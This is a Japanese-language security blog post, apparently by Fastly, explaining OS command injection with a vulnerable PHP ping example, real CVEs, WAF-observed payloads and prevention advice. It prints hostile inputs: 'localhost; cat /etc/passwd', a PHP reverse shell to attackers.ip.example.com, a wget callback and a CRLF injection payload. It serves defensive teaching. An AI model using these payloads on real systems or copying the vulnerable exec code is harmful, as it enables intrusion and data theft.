OS コマンドインジェクションとは?
OS コマンドインジェクションは、基盤となるオペレーティングシステムで攻撃者が任意のコマンドを実行できるようにする Web アプリケーションの脆弱性です。このような脆弱性は、Web アプリケーションがユーザー指定の入力を引数としてオペレーティングシステムのコマンドを呼び出すときに発生します。この脆弱性は、CWE-77 または CWE-78 のいずれかとして識別される場合もあります。
社内システムをモニタリングし、システムのいずれかがオフラインになったときに Alerts を提供することを目的とした Web アプリケーションを考えてみましょう。このシナリオでは、アプリケーションは対象へのネットワーク到達性をテストしたい場合があり、そのために ping コマンドを実行します。アプリケーションが PHP で記述されている場合、基盤となるコードは次のようになります。
$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' .$ip_address, $not_used, $return_code)この例では、PHP の exec 関数は、到達可能性をテストするターゲットとして末尾に追加された「ip_address」にユーザーが指定した値を使用して ping コマンドを実行します。しかし、攻撃者が指定された IP アドレスとして localhost; cat /etc/passwd を代わりに指定すると、ping コマンドとセミコロンの後に開始される 2 つ目のコマンドの両方が実行されます。成功すると、攻撃者は完全にコマンド実行が可能になり、アクセスの拡大、機密情報の取得、パーシステンスの維持、またはネットワーク上の他のターゲットへのピボットを試みるために、任意の数の悪意のあるコマンドを実行できます。コマンドインジェクションの脆弱性は、より壊滅的な影響を及ぼすことが多いため、通常は他の Web アプリケーション脆弱性よりも深刻であると評価されます。
OS コマンドインジェクションではないものとは?
コマンドインジェクションは、コードインジェクションをはじめとするその他のインジェクション攻撃と混同されることがよくあります。このふたつの脆弱性を区別する最も簡単な方法は、ペイロード実行のメソッドとコンテキストを確認することです:
コマンドインジェクションの特徴は、外部プログラムへの呼び出しにインジェクションすることで、基盤となるオペレーティングシステムのシェルプログラム(bash、PowerShell など)のコンテキストで実行されることです。
コードインジェクションは使用されているプログラミング言語のコンテキストで実行されます。例として、PHP の include 関数や eval 関数にインジェクションし、任意の PHP コードを実行できるようにすることが挙げられます。
コマンドインジェクションのペイロードに PHP などのプログラミング言語のコードが含まれている場合、混乱が生じることがあります。例えば、前述の例でリバースシェルを開始する以下のコマンドインジェクションのペイロードを使用するとします。
localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh-i <&3 >&3 2>&3");'ペイロードの大部分が PHP コードなので、一見するとコードインジェクションであるかのように見えるかもしれません。しかし、ペイロードの最初の部分を見ると、実際にはコマンドインジェクションであることがわかります。この例では、セミコロンによって PHP コマンドが実行される前に ping コマンドが終了します。次に、php -r がコマンドラインで次の PHP を実行します。ここでは、これは攻撃者の IP アドレスに接続するリバースシェルです。ペイロード内で PHP コードが実行されていますが、これは OS のシェルプログラムの引数にインジェクションしているため、OS コマンドインジェクションです。
OS コマンドインジェクションの実例
該当するものと該当しないもの の両方を含めて OS コマンドインジェクションを理解したところで、この攻撃の実際の例と、それらがどのように実行されたのかを見てみましょう。
NagiosXI における OS コマンドインジェクションの脆弱性 : 共通脆弱性識別子-2021-25296(7、8)
NagiosXI のバージョン 5.5.6~5.7.5 には、3つの個別のコマンドインジェクションの脆弱性がありました。前述の ping の例は、実際には CVE-2021-25298 を大まかに参考にしたものです。このコマンドインジェクションの脆弱性は、ユーザー指定の IP アドレスを使用して PHP の exec 関数経由で ping を呼び出す箇所に存在していました。これらの CVE に関する私たちの詳細な分析では、Meterpreter のリモートシェルと Project Discovery’s interactsh へのコールバックの両方を起動することで、これらの脆弱性を実際に利用する方法を示しています。CISA が指摘しているように、本稿執筆時点で、これらの CVE は実環境で攻撃者によって活発に悪用されており、システム侵害における潜在的な価値を示しています。
ManageEngine ADManagerPlus における OS コマンドインジェクションの脆弱性 : 共通脆弱性識別子-2023-29084
このコマンドインジェクションの脆弱性は、コマンドインジェクションを防ぐべきでない方法の好例を示しています。Dinh Hoang 氏による素晴らしい記事では、この脆弱性について、具体的には ADManagerPlus が reg add コマンドのためにユーザーが指定したユーザー名とパスワードの値をエスケープするために CommonUtil.getPowerShellEscapedValue 関数を使用している方法が説明されています。しかし、この関数は CRLF 文字をエスケープしないため、次のペイロードをパスワードとして挿入して calc を起動できます:[any-content]\r\ncalc.exe。後ほど説明しますが、この種の入力サニタイズを行うと、ミスや新たなバイパス、または見落とされたメタ文字が生じる可能性があり、将来的なコマンドインジェクションにつながるおそれがあります。
WAF で確認された OS コマンドインジェクション
Fastly の Next-Gen WAF は、コマンドインジェクション攻撃から保護します。観測されたコマンドインジェクションのペイロードをいくつか調べることで、OS コマンドインジェクションの脆弱性を検出するために攻撃者が何を送信しているかを確認できます。
ペイロードの例 1: POST リクエストデータ内の ping 「sleep」
language=&ping -c 25 127.0.0.1 &このペイロードは、言語フィールドへのコマンドインジェクションの単純な試みです。これはインジェクションを検出するのにコマンドからの出力の取得に依存しないため、ブラインド・コマンド・インジェクションの手法も使用しています。まず、ペイロードは & メタ文字を使用し、最初のコマンドをバックグラウンドで実行しながら2番目のコマンドを実行します。このペイロードには「-c」フラグ付きの ping コマンドが含まれており、ping に25個のパケットを送信するよう指示します(1秒ごとに1個)。レスポンス時間を分析することで、攻撃者は注入したコマンドが実行されたかどうかを判断できます。ただし、対象のアプリケーションが HTTP レスポンスを送信する前に、実行されたコマンドが完了するのを待たない場合、この手法は失敗する可能性があり、その有効性が制限されます。この制約がない、より興味深いブラインド・コマンド・インジェクションの例を見てみましょう。
ペイロードの例 2: POST リクエストデータで Wget を使用する
macAddress=112233445566;wget http://[redacted-subdomain].oast.site#このペイロードは帯域外のネットワークインタラクションを利用するブラインド・コマンド・インジェクションの手法で、注入されたコマンドによって送信されるアウトバウンドのネットワークリクエストを検出してコマンドインジェクションを確認します。このペイロードを、コマンドのエスケープとセットアップ、および注入されたコマンドの内容という2つのパーツに分けてみましょう。
このペイロードは macAddress フィールドに注入され、コマンドインジェクションに利用される2つのメタ文字を含みます。まず、セミコロンは最初のコマンドの終わりを示し、それによって攻撃者のコマンドを実行できるようになります。注入されたペイロードの最後で、攻撃者は # メタ文字を使用して、その後に続くデータをコメントアウトします。これは、注入先の引数がコマンド内の最後の引数ではない場合に有用です。後続の引数はすべてコメントの一部として無視されるためです。
ペイロードの挿入されたコマンド部分は wget コマンドであり、oast.site のサブドメインに到達します、コールバック・ドメインのデフォルトの 1 つであり、Project Discovery の interactsh で使用されます。OAST は帯域外のアプリケーション・セキュリティ・テストを指し、interactsh は一意のサブドメインとペイロードを使用して、標的となった攻撃が成功したかどうかを判断できるようにします。interactsh や同じ種類のテストを可能にする他のツールで使用されるドメインは他にもいくつかあり、これらについては以前にもその多用を確認しています。
OS コマンドインジェクションを防ぐ方法
OS コマンドインジェクションを防ぐ方法はいくつかありますが、それぞれ有効性や欠点が異なります。以下に、このタイプの攻撃を防ぐための実用的な解決策を紹介します。
アプリケーションコードからオペレーティングシステムのコマンドの呼び出しを防止します
アプリケーションコードからオペレーティングシステムのコマンドを呼び出さないようにします。これにより、注入されたコマンド自体を削除することで、OS コマンドインジェクションの脆弱性の可能性を完全に排除できます。同じアクションを実行するために別の方法を利用することは、より安全で推奨される選択肢です。
厳格な入力検証を実施する
OS コマンドの呼び出しを削除せざるを得ない環境では、OS コマンドインジェクションの脆弱性を防ぐのに厳格な入力検証が必要になります。厳格な入力検証は、入力のサニタイズとは異なります。入力検証では、ユーザー入力に、アプリケーションが OS コマンドに渡しても安全な値のみが含まれていることを保証する必要があります。厳格な入力検証の例には以下があります。
入力が許可された値のリストに含まれていることを検証する。
提供された入力が適切なタイプ(例:整数や IP アドレス)であることを検証します。
入力に英数字のみが含まれていることを検証する。
ユーザー入力をサニタイズする(非推奨)
これらのオプションがどれも実行できない場合、最後の手段としてシェルのメタ文字(例:& や ;)をエスケープしてユーザー入力をサニタイズする必要があります。メタ文字の表現方法や、異なるオペレーティングシステムによる解釈のされ方、さらにサニタイズのメソッドがどのようにバイパスされるかには多くのパターンがあるため、このサニタイズを適切に行うのは困難です。CVE-2023-29084 は、見落とされたメタ文字(CRLF)によってコマンドインジェクションが成功したことから、この方法で起こり得る問題を示しています。サニタイズは、多くの場合、ありふれた OS コマンドインジェクションのペイロードから保護しますが、正しく実装することの難しさとバイパスの可能性の両方があるため、完全なソリューションではありません。
概要
OS コマンドインジェクションは通常、攻撃者が基盤となるオペレーティングシステム上で任意のコマンドを実行できるようにする深刻な Web アプリケーションの脆弱性です。これは Code Injection と混同されることがよくありますが、Code Injection が使用中のプログラミング言語のコンテキストで動作するのに対し、OS コマンドインジェクションは基盤となるオペレーティングシステムのシェルプログラムのコンテキストで動作します。OS コマンドインジェクションは壊滅的な影響を及ぼす可能性があり、実際の事例で見られるように、現在でも頻繁に使用される攻撃手段です。ただし、アプリケーションは、ここで説明したソリューションを使用することで、OS コマンドインジェクションを防ぐことができます。OS コマンドインジェクションの防止に苦労している場合や、過去に OS コマンドインジェクションの脆弱性を抱えていたプロダクトを使用している場合は、これらの攻撃やその他の脅威から保護する Fastly の Next-Gen WAF をご覧ください。




